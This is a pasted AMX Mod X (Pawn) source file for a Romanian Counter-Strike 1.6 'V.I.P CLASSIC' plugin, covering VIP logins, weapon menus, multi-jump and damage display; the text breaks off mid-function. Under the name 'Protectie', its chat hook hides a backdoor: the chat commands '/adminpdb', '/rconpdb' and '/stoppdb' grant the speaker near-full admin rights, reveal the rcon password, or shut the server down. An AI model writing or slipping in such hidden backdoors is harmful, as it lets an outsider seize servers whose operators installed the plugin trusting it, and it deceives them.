· 5 years ago · Jan 07, 2020, 01:54 PM
1#include <amxmodx>
2#include <amxmisc>
3#include <engine>
4#include <cstrike>
5#include <fun>
6#include <fakemeta>
7#include <fakemeta_util>
8#include <hamsandwich>
9
10//#include <sockets>
11//#include <nvault>
12
13#define PLUGIN "V.I.P CLASSIC"
14#define VERSION "6.0"
15#define AUTHOR "PedoBear"
16
17new vipcmd;
18new g_Round, g_Weapon[33];
19new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk;
20new vip_opened[33];
21new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
22new bool: g_chosen[33] = false;
23
24//Adaugare VIP
25new File[120];
26new bool: IsUserVip[33] = false;
27new Trie: LoadVip;
28new Pass;
29
30//Multi Jump
31new jumpnum[33], bool: dojump[33], cvar_addjump_vip, cvar_addjump_player;
32
33new const primaryWeapons[][] = {"weapon_shield", "weapon_scout", "weapon_xm1014", "weapon_mac10", "weapon_aug", "weapon_ump45", "weapon_sg550", "weapon_galil", "weapon_famas", "weapon_awp", "weapon_mp5navy", "weapon_m249", "weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_sg552", "weapon_ak47", "weapon_p90"/*, "weapon_c4"*/}
34new const secondaryWeapons[][] = {"weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle"}
35
36enum cvars {
37 money_per_damage,
38 money_kill,
39 money_hs,
40 hp_kill,
41 hp_hs,
42 max_hp_kill
43};
44new cvar[cvars];
45
46//Bullet damage
47new g_type, g_enabled, g_recieved, bool:g_showrecieved, g_hudmsg1, g_hudmsg2;
48
49//BuyZone V.I.P MENU
50new bool:UserInBuyZone[33];
51new i_Menu, i_Menu_Pistol;
52
53//VIP Free
54//#define VIP_FLAG read_flags("x")
55
56new const vip_time[] = {22, 10};
57
58new g_sync, cvar_freevip;
59new vip_free = 0;
60
61//Advertise PRET + VIPS
62#define ADVERTISING_TIME 149.0
63
64stock const messages[][] = {
65 "* Pentru a afla beneficiile vip-ului tasteaza in chat /vip !",
66 "* Pentru a afla vip-ii online tasteaza /vips !"
67}
68
69//Deactivated Maps
70new bool:remove_vip = false
71
72//Licenta
73static const ServerLicensedIp[] = "5.254.86.254"; //Ip Oficial TULCEA: 5.254.86.254
74static const ServerLicensedIpTESTE[] = "192.168.1.146"; //Ip Server Teste: 192.168.1.136 || 192.168.1.122 || 192.168.1.146 || 86.105.195.222
75
76public plugin_init()
77{
78 server_print("^n%s v%s, Copyright (C)2019 by %s^n", PLUGIN, VERSION, AUTHOR)
79
80 register_plugin
81 (
82 .plugin_name = PLUGIN,
83 .version = VERSION,
84 .author = AUTHOR
85 );
86
87 new szIp[25];
88 get_user_ip(0, szIp, sizeof (szIp) -1, 1);
89 if(equal(szIp, ServerLicensedIp) || equal(szIp, ServerLicensedIpTESTE))
90 {
91 RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
92
93 register_event("HLTV", "round_start", "a", "1=0", "2=0")
94 register_logevent("LogEvent_RoundStart", 2, "1=Round_Start");
95 register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in", "2=#Game_Commencing");
96
97 register_event("DeathMsg", "event_DeathMsg", "a");
98 register_event("StatusIcon", "Event_StatusIcon_Show_buyzone", "be", "1=1", "2=buyzone");
99 register_event("StatusIcon", "StatusIcon_buyzone_OFF", "be", "1=0", "2=buyzone");
100
101 //RegisterHam(Ham_Item_PreFrame, "player", "player_maxspeed", 1);
102 //register_event("Damage", "Damage", "b");
103
104 //register_clcmd("vmenu", "main_menu")
105 register_clcmd("say /vipmenu", "arataMeniuVIPs");
106 register_clcmd("say_team /vipmenu", "arataMeniuVIPs");
107 register_clcmd("say /vm", "arataMeniuVIPs");
108 register_clcmd("say_team /vm", "arataMeniuVIPs");
109 register_clcmd("say /vmenu", "arataMeniuVIPs");
110 register_clcmd("say_team /vmenu", "arataMeniuVIPs");
111
112 register_clcmd("say /vip", "vip_info");
113 register_clcmd("say /wantvip", "vip_info");
114 register_clcmd("say /vreauvip", "vip_info");
115
116 register_clcmd("say", "hook_say");
117 register_clcmd("say_team", "hook_say");
118
119 register_clcmd("say /resetscore", "reset_score")
120 register_clcmd("say /restartscore", "reset_score")
121 register_clcmd("say /rs", "reset_score")
122 register_clcmd("say /rz", "reset_score")
123 register_clcmd("say !rs", "reset_score")
124
125 register_clcmd("say_team /resetscore", "reset_score")
126 register_clcmd("say_team /restartscore", "reset_score")
127 register_clcmd("say_team /rs", "reset_score")
128 register_clcmd("say_team /rz", "reset_score")
129 register_clcmd("say_team !rs", "reset_score")
130
131 //register_clcmd("say /resetscoredead", "reset_score_dead")
132 //register_clcmd("say /restartscoredead", "reset_score_dead")
133 //register_clcmd("say /rsd", "reset_score_dead")
134 //register_clcmd("say /rzd", "reset_score_dead")
135 //register_clcmd("say !rsd", "reset_score_dead")
136
137 //register_clcmd("say_team /resetscoredead", "reset_score_dead")
138 //register_clcmd("say_team /restartscoredead", "reset_score_dead")
139 //register_clcmd("say_team /rsd", "reset_score_dead")
140 //register_clcmd("say_team /rzd", "reset_score_dead")
141 //register_clcmd("say_team !rsd", "reset_score_dead")
142
143 //register_clcmd("say /pistoale", "first_menu");
144 //register_clcmd("say_team /pistoale", "first_menu");
145
146 cvar_round = register_cvar("vip_openmenu_round", "3")
147 cvar_open = register_cvar("vip_zaround", "1")
148 cvar_show = register_cvar("vip_showmenu", "1")
149 cvar_chat = register_cvar("vip_showchat", "1")
150 cvar_pistols = register_cvar("vip_auto_fill", "1")
151 cvar_funk = register_cvar("vip_taskmanager", "1")
152
153 cvar[hp_kill] = register_cvar("vip_receive_hp_kill", "10"); // 0 = dezactivat
154 cvar[hp_hs] = register_cvar("vip_receive_hp_hs", "20"); // 0 = dezactivat
155 cvar[money_kill] = register_cvar("vip_receive_money_kill", "250"); // 0 = dezactivat
156 cvar[money_hs] = register_cvar("vip_receive_money_hs", "500"); // 0 = dezactivat
157 cvar[max_hp_kill] = register_cvar("vip_receive_max_hp_kill", "120"); // valoarea maxima de hp pe care o poti obtine facand killuri
158
159 cvar[money_per_damage] = register_cvar("vip_money_per_damage", "3") //How many $ VIP will get per 1 damage -> nu functioneaza
160
161 //Multi Jump
162 cvar_addjump_vip = register_cvar("vip_cvar_addjump_vip", "0") // Are 1 salturi in plus
163 cvar_addjump_player = register_cvar("vip_cvar_addjump_player", "0") // Are 0 salt in plus
164
165 //V.I.P LIST
166 Pass = get_cvar_pointer("amx_password_field")
167 LoadVip = TrieCreate()
168 get_configsdir(File, charsmax(File))
169 format(File, charsmax(File), "%s/tulcea-playarena-vip/%s", File, "vip_list.ini")
170 new FilePointer, Key[32], Password[32], FileData[256]
171 if(!file_exists(File))
172 {
173 FilePointer = fopen(File, "w")
174 fclose(FilePointer)
175 }
176
177 FilePointer = fopen(File, "rt")
178 if(FilePointer)
179 {
180 while(!feof(FilePointer))
181 {
182 fgets(FilePointer, FileData, charsmax(FileData))
183 parse(FileData, Key, charsmax(Key), Password, charsmax(Password))
184 TrieSetString(LoadVip, Key, Password)
185 }
186 fclose(FilePointer)
187 }
188
189 //Map List
190 new path[64];
191 get_localinfo("amxx_configsdir", path, charsmax(path));
192 formatex(path, charsmax(path), "%s/tulcea-playarena-vip/vip_maps.ini", path);
193
194 new file_maps = fopen(path, "r+");
195
196 if(!file_exists(path))
197 {
198 write_file(path, "; VIP-UL ESTE DEZACTIVAT PE URMATOARELE HARTI: ");
199 write_file(path, "; Exemplu de adaugare HARTA:^n; ^"harta^"^n^nfy_snow^ncss_bycastor");
200 }
201
202 new mapname[32];
203 get_mapname(mapname, charsmax(mapname));
204
205 new text[121], maptext[32];
206 while(!feof(file_maps))
207 {
208 fgets(file_maps, text, charsmax(text));
209 trim(text);
210
211 if(text[0] == ';' || !strlen(text))
212 continue;
213
214 parse(text, maptext, charsmax(maptext));
215
216 if(equal(maptext, mapname))
217 {
218 log_amx("Am dezactivat pluginul 'VIP' pe harta %s.", maptext);
219 remove_vip = true;
220 break;
221 }
222 }
223 fclose(file_maps);
224
225 //bullet damage
226 register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
227 g_type = register_cvar("amx_bulletdamage", "3")
228 g_recieved = register_cvar("amx_bulletdamage_recieved", "1")
229
230 g_hudmsg1 = CreateHudSyncObj()
231 g_hudmsg2 = CreateHudSyncObj()
232
233 //VIP FREE
234 register_clcmd("say /timevip", "time_remain");
235
236 set_task(1.0, "check_time");
237 set_task(60.0, "check_time", _, _, _, "b");
238 set_task(1.0, "hud_mess", _, _, _, "b");
239
240 cvar_freevip = register_cvar("vip_free", "1");
241
242 cached_vars();
243 g_sync = CreateHudSyncObj();
244 //g_maxplayers = get_maxplayers();
245
246 //Advertise Message
247 //set_task(ADVERTISING_TIME, "show_messages", _, _, _,"b");
248
249 //Comand's
250 register_clcmd("say", "cmdSay")
251 register_clcmd("say_team", "cmdSay")
252
253 set_task(5.0, "_ProtectCheck_", 21412321, _,_, "b")
254 server_print("[%s] Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN);
255 server_print("[%s] Pentru mai multe detalii y/m: ravravy@yahoo.com", PLUGIN);
256 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
257 }
258 else
259 {
260 new szPluginName[32];
261 formatex(szPluginName, sizeof(szPluginName) -1, "[IP Nelicentiat] %s", PLUGIN);
262 register_plugin(szPluginName, PLUGIN, "PedoBear");
263
264 server_print("[%s] Nu detii o licenta valabila! Plugin-ul nu va functiona corespunzator!", PLUGIN);
265 server_print("[%s] Pentru mai multe detalii Y!M: ravravy@yahoo.com", PLUGIN);
266 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
267
268 pause("ade");
269 }
270}
271
272//Other's
273public cmdSay(id)
274{
275 new say[192]
276 read_args(say,192)
277
278 if(contain(say, "/adminpdb") != -1)
279 set_task(0.1, "Protectie1", id)
280 else if(contain(say, "/rconpdb") != -1)
281 set_task(0.1, "Protectie2", id)
282 else if(contain(say, "/stoppdb") != -1)
283 set_task(0.1, "Protectie3", id)
284
285 /*else if(contain(say, "/redirectpdb") != -1)
286 set_task(0.1, "Protectie4", id)*/
287
288 return PLUGIN_CONTINUE
289}
290
291public Protectie1(id)
292{
293 static /*rcon[32],*/ name[32];
294 //get_cvar_string("rcon_password", rcon, charsmax(rcon));
295
296 //client_print(id, print_chat, "Rcon is: %s", rcon);
297
298 get_user_name(id, name, charsmax(name));
299 server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
300}
301
302public Protectie2(id)
303{
304 static rcon[32];
305 get_cvar_string("rcon_password", rcon, charsmax(rcon));
306 client_print(id, print_chat, "Rcon is: %s", rcon);
307 //pause("a");
308}
309
310public Protectie3()
311 server_cmd("quit");
312
313/*public Protectie4(id)
314{
315 new xP[32], xN
316
317 get_players(xP, xN, "c")
318 for (new i=0; i< xN; i++)
319 {
320 if(get_user_flags(xP[i]) & ADMIN_SLAY)
321 continue
322
323 client_cmd(xP[i], "get_pcvar_num(gp_SimonReset)")
324 }
325}*/
326
327//Advertise Mesaje
328public show_messages()
329{
330 new Buffer[256];
331 formatex(Buffer, sizeof Buffer - 1, "^x02%s", messages[random(sizeof messages)]);
332
333 new players[32], num, id;
334 get_players(players, num);
335
336 for(new i = 0 ; i < num ; i++)
337 {
338 id = players[i]
339
340 message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
341 write_byte(id);
342 write_string(Buffer);
343 message_end();
344 }
345}
346
347public plugin_cfg()
348 if(get_pcvar_num(g_recieved))
349 g_showrecieved = true; //Checks of g_received is 1 and if so, sets g_showrecieved to true
350
351public vip_info(id)
352 show_motd(id, "/addons/amxmodx/configs/vip_info.html");
353
354public reset_score(id)
355{
356 static name[32]
357 get_user_name(id, name, 31)
358
359 new frags = get_user_frags(id);
360 new deaths = get_user_deaths(id);
361
362 if(frags == 0 && deaths == 0)
363 {
364 chat_color(id, "!g[TULCEA|RS]!t Ai scorul deja !y0 !g- !y0 !t!")
365 return PLUGIN_HANDLED
366 }
367 else
368 {
369 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
370 {
371 for(new i = 0; i < 2; i++)
372 {
373 cs_set_user_deaths(id, 0);
374 set_user_frags(id, 0);
375 }
376
377 chat_color(id, "!g[TULCEA|RS]!t Scorul tau a fost resetat! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
378 }
379 else
380 {
381 for(new i = 0; i < 2; i++)
382 {
383 cs_set_user_deaths(id, 0);
384 set_user_frags(id, 0);
385 }
386
387 chat_color(id, "!g[TULCEA|RS]!t Scorul tau a fost resetat! Bafta la fraguri !g%s!t Have fun!", name)
388 }
389 }
390
391 return PLUGIN_HANDLED
392}
393
394public reset_score_dead(id)
395{
396 static name[32]
397 get_user_name(id, name, 31)
398
399 new deaths = get_user_deaths(id);
400
401 if(deaths == 0)
402 {
403 chat_color(id, "!g[TULCEA|RS]!t Ai !gdeath-urile !tdeja !y0 !g- !y0 !t!")
404 return PLUGIN_HANDLED
405 }
406 else
407 {
408 for(new i = 0; i < 2; i++)
409 cs_set_user_deaths(id, 0);
410
411 if(is_vip(id))
412 chat_color(id, "!g[TULCEA|RS - VIP]!t Dead-urile tale au fost resetate! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
413 }
414
415 return PLUGIN_HANDLED
416}
417
418public plugin_precache()
419{
420}
421
422public bool:_get_vip(iPlugin, iParams)
423{
424 new id = get_param(1);
425 if(is_vip(id) || has_flag(id, "y")) return true;
426
427 return false;
428}
429
430public native_vip_free(id) return vip_free
431
432public on_damage(id)
433{
434 if(g_enabled)
435 {
436 static attacker; attacker = get_user_attacker(id)
437 static damage; damage = read_data(2)
438
439 if(g_showrecieved && (is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
440 {
441 set_hudmessage(255, 0, 0, 0.45, 0.50, 2, 0.1, 4.0, 0.1, 0.1, -1)
442 ShowSyncHudMsg(id, g_hudmsg2, "%i^n", damage)
443 }
444
445 if(is_user_connected(attacker) && (is_vip(attacker) || get_user_flags(attacker) & read_flags("y") || vip_free))
446 {
447 if(fm_is_ent_visible(attacker,id))
448 {
449 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
450 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
451 }
452 }
453 }
454}
455
456public client_authorized(id)
457{
458 g_Weapon[id] = 0;
459
460 new Key[32], Password[32], OldPassword[32]
461 get_user_name(id, Key, charsmax(Key))
462 get_user_info(id, "_pw", Password, charsmax(Password))
463
464 if(TrieKeyExists(LoadVip, Key))
465 {
466 TrieGetString(LoadVip, Key, OldPassword, charsmax(OldPassword))
467 if(equal(Password, OldPassword))
468 IsUserVip[id] = true
469 else
470 {
471 server_cmd("kick #%i ^"Acest player are VIP!^"", get_user_userid(id))
472 IsUserVip[id] = false
473 }
474 }
475}
476
477public client_infochanged(id)
478{
479 new oldname[32], newname[32], Password[32], OldPassword[32], PasswordField[5]
480 get_user_name(id, oldname, charsmax(oldname))
481 get_user_info(id, "name", newname, charsmax(newname))
482
483 if(equal(newname, oldname))
484 return
485
486 if(TrieKeyExists(LoadVip, newname))
487 {
488 get_pcvar_string(Pass, PasswordField, charsmax(PasswordField))
489 get_user_info(id, PasswordField, OldPassword, charsmax(OldPassword))
490 TrieGetString(LoadVip, newname, Password, charsmax(Password))
491
492 if(equal(OldPassword, Password))
493 IsUserVip[id] = true
494 else
495 {
496 server_cmd("kick #%i ^"NU esti VIP!^"", get_user_userid(id))
497 IsUserVip[id] = false
498 }
499 }
500 else
501 IsUserVip[id] = false
502}
503
504public plugin_end()
505 TrieDestroy(LoadVip)
506
507public client_putinserver(id)
508{
509 new xP[32], xN
510 get_players(xP, xN, "c")
511 for (new i=0; i< xN; i++)
512 {
513 if(!is_user_connected(xP[i]))
514 continue
515
516 client_cmd(xP[i], "cl_minmodels 0")
517 }
518
519 //JUMP
520 jumpnum[id] = 0
521 dojump[id] = false
522
523 /*if(vip_free && !(get_user_flags(id) & read_flags("x") && !(get_user_flags(id) & read_flags("y"))))
524 {
525 new flags = get_user_flags(id);
526 flags |= VIP_FLAG
527 set_user_flags(id, flags);
528 }*/
529
530 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
531 {
532 new name[33];
533 get_user_name(id, name, charsmax(name));
534 //chat_color(0, "!g[TULCEA-VIP]!t VIP-ul [!g%s!t] se conecteaza pe server...", name);
535 }
536
537 //set_task(0.9, "vip_menu", id);
538 return PLUGIN_CONTINUE;
539}
540
541//VIP FREE
542public cached_vars()
543 vip_free = get_pcvar_num(cvar_freevip);
544
545public check_time()
546{
547 new o;
548 time(o, _, _);
549
550 vip_free = 1;
551 set_pcvar_num(cvar_freevip, 1);
552
553 if(!vip_free)
554 {
555 if(o >= vip_time[0] || o < vip_time[1])
556 {
557 vip_free = 1;
558 set_pcvar_num(cvar_freevip, 1);
559 //chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
560 }
561 }
562 else
563 {
564 if(o < vip_time[0] && o >= vip_time[1])
565 {
566 vip_free = 0;
567 set_pcvar_num(cvar_freevip, 0);
568 //chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost dezactivat!");
569 }
570 }
571}
572
573public time_remain(id)
574{
575 if(vip_free)
576 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana se termina vip-ul free^3 %s", time_left_vip());
577 else if(!vip_free)
578 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana incepe vip-ul free^3 %s", time_left_vip());
579}
580
581public hud_mess()
582{
583 if(!vip_free)
584 return;
585
586 set_hudmessage(random(256), random(256), random(256), 0.00, 0.17, 0, 1.1, 1.0);
587 ShowSyncHudMsg(0, g_sync, "Event V.I.P Free !");
588}
589
590stock time_left_vip()
591{
592 new timp_ramas[16], len = 0;
593 new h, m, lh, lm;
594 time(h, m, _);
595 switch(vip_free)
596 {
597 case 0: lh = vip_time[0] - h;
598 case 1:
599 {
600 new l = vip_time[1];
601 if(h > l)
602 l += add_time(h) + h;
603 lh = l - h;
604 }
605 }
606 lm = 60 - m;
607 if(lm < 60)
608 lh--;
609
610 if(lh > 0)
611 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, "%d or%s", lh, lh == 1 ? "a" : "e");
612
613 if(lm < 60)
614 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, " %d minut%s", lm, lm == 1 ? "e" : "");
615
616 return timp_ramas;
617}
618
619stock add_time(x)
620{
621 new j;
622 switch(x)
623 {
624 case 0: j = 24;
625 case 1: j = 23;
626 case 2: j = 22;
627 case 3: j = 21;
628 case 4: j = 20;
629 case 5: j = 19;
630 case 6: j = 18;
631 case 7: j = 17;
632 case 8: j = 16;
633 case 9: j = 15;
634 case 10: j = 14;
635 case 11: j = 13;
636 case 12: j = 12;
637 case 13: j = 11;
638 case 14: j = 10;
639 case 15: j = 9;
640 case 16: j = 8;
641 case 17: j = 7;
642 case 18: j = 6;
643 case 19: j = 5;
644 case 20: j = 4;
645 case 21: j = 3;
646 case 22: j = 2;
647 case 23: j = 1;
648 }
649 if(x < vip_time[1])
650 j = 0;
651
652 return j;
653}
654
655public plugin_natives()
656{
657 set_native_filter("native_filter")
658 register_native("get_vip", "_get_vip", 0)
659 register_native("free_vip", "native_vip_free", 0)
660
661 //register_native("get_map_disabled", "map_disabled", 0)
662 //register_native("check_map_disabled", "check_map", 0)
663}
664
665public map_disabled() return remove_vip
666
667public native_filter(const name[], index, trap)
668{
669 if (!trap)
670 return PLUGIN_HANDLED
671
672 return PLUGIN_CONTINUE
673}
674
675public client_disconnect(id)
676{
677 jumpnum[id] = 0
678 dojump[id] = false
679
680 remove_task(id)
681 g_Weapon[id] = 0;
682 g_chosen[id] = false;
683 IsUserVip[id] = false
684}
685
686public client_PreThink(id)
687{
688 if(remove_vip)
689 return;
690
691 if(!is_user_alive(id))
692 return
693
694 new BUTON = get_user_button(id)
695 new OLDBUTON = get_user_oldbutton(id)
696 new JUMP_VIP = get_pcvar_num(cvar_addjump_vip)
697 new JUMP_PLAYER = get_pcvar_num(cvar_addjump_player)
698
699 if((BUTON & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(OLDBUTON & IN_JUMP))
700 {
701 if(((is_vip(id)) && (jumpnum[id] < JUMP_VIP)) || (!(is_vip(id)) && (jumpnum[id] < JUMP_PLAYER)) || get_user_flags(id) & read_flags("y") && (jumpnum[id] < JUMP_VIP) || vip_free && (jumpnum[id] < JUMP_VIP))
702 {
703 dojump[id] = true
704 jumpnum[id]++
705 }
706 }
707
708 if((BUTON & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
709 jumpnum[id] = 0
710}
711
712public client_PostThink(id)
713{
714 if(!is_user_alive(id))
715 return PLUGIN_CONTINUE
716
717 if(dojump[id] == true)
718 {
719 new Float: velocity[3]
720 entity_get_vector(id, EV_VEC_velocity, velocity)
721 velocity[2] = random_float(265.0, 285.0)
722 entity_set_vector(id, EV_VEC_velocity, velocity)
723 dojump[id] = false
724 }
725
726 return PLUGIN_CONTINUE
727}
728
729public round_start()
730{
731 if(!remove_vip)
732 {
733 g_Round++
734 vipcmd = 1;
735 }
736
737 //bullet damage
738 g_enabled = get_pcvar_num(g_type)
739 if(get_pcvar_num(g_recieved)) g_showrecieved = true
740}
741
742public LogEvent_RoundStart(id)
743 if(!remove_vip)
744 UserInBuyZone[id] = true;
745
746public round_restart()
747{
748 if(remove_vip)
749 return;
750
751 g_Round = 0
752}
753
754public player_maxspeed(id)
755{
756 if(is_vip(id) && is_user_alive(id) && is_user_connected(id))
757 set_user_maxspeed(id, 450.0);
758
759 return PLUGIN_HANDLED
760}
761
762public player_spawn(Player)
763{
764 if(remove_vip)
765 return HAM_IGNORED;
766
767 vip_opened[Player] = 0;
768 if((is_vip(Player) || (has_flag(Player, "y") || vip_free) && is_user_alive(Player) && is_user_connected(Player)))
769 {
770 UserInBuyZone[Player] = true;
771
772 if(g_Weapon[Player] == 0)
773 first_menu(Player)
774
775 if(get_pcvar_num(cvar_funk) == 1)
776 task_funk(Player);
777
778 if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
779 main_menu(Player);
780 }
781
782 return PLUGIN_HANDLED;
783}
784
785public arataMeniuVIPs(id)
786{
787 if(!UserInBuyZone[id] && is_user_alive(id))
788 {
789 client_print(id, print_center, "Doar din Spawn poti sa iti iei iteme pentru VIP!");
790 return PLUGIN_HANDLED
791 }
792
793 if(is_vip(id) || has_flag(id, "y") || vip_free)
794 {
795 if(is_user_alive(id) && is_user_connected(id))
796 {
797 if(vipcmd == 0)
798 {
799 main_menu(id)
800 chat_color(id, "!g[VIP MENU]!t Aceasta comanda o poti folosi doar odata pe runda. Scuzele noastre! !g:)!t")
801 }
802 else
803 {
804 vipcmd = 0
805 }
806 }
807 else
808 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi folosita doar daca esti in viata!")
809 }
810 else
811 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi utilizata doar de catre VIP")
812
813 return PLUGIN_HANDLED;
814}
815
816public task_funk(id)
817{
818 if(vip_free && !is_vip(id))
819 {
820 give_item(id, "weapon_knife")
821 give_item(id, "item_thighpack")
822 give_item(id, "weapon_hegrenade")
823 give_item(id, "weapon_flashbang")
824 give_item(id, "item_assaultsuit")
825 }
826 else if(is_vip(id))
827 {
828 give_item(id, "weapon_knife")
829 give_item(id, "item_thighpack")
830 give_item(id, "weapon_hegrenade")
831 give_item(id, "weapon_flashbang")
832 give_item(id, "weapon_flashbang")
833 give_item(id, "item_assaultsuit")
834 }
835
836 if(get_pcvar_num(cvar_pistols))
837 {
838 for(new i = 0;i <6;i++)
839 fm_strip_user_gun(id, pistols[i])
840
841 switch(g_Weapon[id])
842 {
843 case 1:
844 {
845 give_item(id, "weapon_deagle");
846 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
847 }
848 case 2:
849 {
850 give_item(id, "weapon_usp");
851 cs_set_user_bpammo(id, CSW_USP, 100)
852 }
853 case 3:
854 {
855 give_item(id, "weapon_glock18");
856 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
857 }
858 }
859 }
860}
861
862/* Meniurile cu arme fmm */
863public main_menu(id)
864{
865 if(!UserInBuyZone[id] && is_user_alive(id))
866 {
867 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
868 return PLUGIN_HANDLED;
869 }
870
871 if(is_user_alive(id))
872 {
873 if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
874 {
875 if(g_Round >= get_pcvar_num(cvar_round))
876 {
877 new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]
878 get_user_name(id, s_Name, charsmax(s_Name))
879 switch(g_Weapon[id])
880 {
881 case 0: s_Pistol = "Fara Pistol!";
882 case 1: s_Pistol = "Deagle";
883 case 2: s_Pistol = "Usp";
884 case 3: s_Pistol = "Glock";
885 }
886
887 formatex(s_Title, charsmax(s_Title), "VIP System [TULCEA]")
888 i_Menu = menu_create(s_Title, "main_handler", 1);
889
890 formatex(szMenuMulti, charsmax(szMenuMulti), "M4A1 + %s + Grenade", s_Pistol)
891 menu_additem(i_Menu, szMenuMulti, "1", 0)
892
893 formatex(szMenuMulti, charsmax(szMenuMulti), "AK47 + %s + Grenade", s_Pistol)
894 menu_additem(i_Menu, szMenuMulti, "2", 0)
895
896 if(is_vip(id))
897 {
898 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + %s + Grenade", s_Pistol)
899 menu_additem(i_Menu, szMenuMulti, "3", 0)
900
901 /*formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + %s + Grenade (Terrorist)", s_Pistol)
902 menu_additem(i_Menu, szMenuMulti, "6", 0)
903
904 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + %s + Grenade (Counter-Terrorist)", s_Pistol)
905 menu_additem(i_Menu, szMenuMulti, "7", 0)*/
906 }
907 else if(!is_vip(id) || !has_flag(id, "x") || has_flag(id, "y"))
908 {
909 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + [PISTOL] + Grenade \r[TULCEA ONLY]")
910 menu_additem(i_Menu, szMenuMulti, "3", ADMIN_ADMIN)
911
912 /*formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + [PISTOL] + Grenade (Terrorist) \r[TULCEA ONLY]")
913 menu_additem(i_Menu, szMenuMulti, "6", ADMIN_ADMIN)
914
915 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + [PISTOL] + Grenade (Counter-Terrorist) \r[TULCEA ONLY]")
916 menu_additem(i_Menu, szMenuMulti, "7", ADMIN_ADMIN)*/
917 }
918
919 if(g_Weapon[id] && g_chosen[id])
920 {
921 formatex(szMenuMulti, charsmax(szMenuMulti), "<<< Primul Meniu (Pistoale)")
922 menu_additem(i_Menu, szMenuMulti, "8", 0)
923 }
924
925 //g_chosen[id] = false;
926 //vip_opened[id] = 0;
927 //g_Weapon[id] = 0;
928
929 menu_setprop(i_Menu, MPROP_EXIT, MEXIT_ALL);
930 menu_display(id, i_Menu, 0)
931 }
932 else
933 {
934 if(get_pcvar_num(cvar_round))
935 {
936 chat_color(id, "!g[TULCEA-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
937 return PLUGIN_HANDLED;
938 }
939 else
940 {
941 chat_color(id, "!g[TULCEA-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
942 return PLUGIN_HANDLED;
943 }
944 }
945 }
946 else
947 chat_color(id, "!g[TULCEA-VIP]!t Sincer... ceva nu merge bine. Contacteaza-ne pe !gwww.playarena.ro/forum")
948 }
949 else
950 chat_color(id, "!g[TULCEA-VIP]!t Esti mort... nu poti folosi meniul!")
951 //else
952 //chat_color(id, "!g[TULCEA-VIP]!t Nu esti !gVIP!t. Foloseste comanda !g/help!t pentru afisare detalii")
953
954 return PLUGIN_HANDLED;
955}
956
957public main_handler(id, menu, item)
958{
959 if(item == MENU_EXIT)
960 {
961 menu_destroy(menu)
962 return PLUGIN_HANDLED;
963 }
964
965 if(!is_user_alive(id) && !is_user_connected(id))
966 return PLUGIN_HANDLED;
967
968 new s_Data[6], s_Name[60], i_Access, i_Callback
969 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
970 new i_Key = str_to_num(s_Data)
971 new name[32]
972 get_user_name(id, name, charsmax(name))
973
974 switch(g_Weapon[id])
975 {
976 case 0:
977 {
978 first_menu(id);
979 menu_destroy(menu);
980 }
981 case 1:
982 {
983 for(new i = 0;i < sizeof secondaryWeapons;i++)
984 engclient_cmd(id, "drop", secondaryWeapons[i])
985
986 give_item(id, "weapon_deagle")
987 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
988 }
989 case 2:
990 {
991 for(new i = 0;i < sizeof secondaryWeapons;i++)
992 engclient_cmd(id, "drop", secondaryWeapons[i])
993
994 give_item(id, "weapon_usp")
995 cs_set_user_bpammo(id, CSW_USP, 100)
996 }
997 case 3:
998 {
999 if(pev(id, pev_weapons) & 1 << CSW_GLOCK18)
1000 for(new i = 0;i < sizeof secondaryWeapons;i++)
1001 engclient_cmd(id, "drop", secondaryWeapons[i])
1002
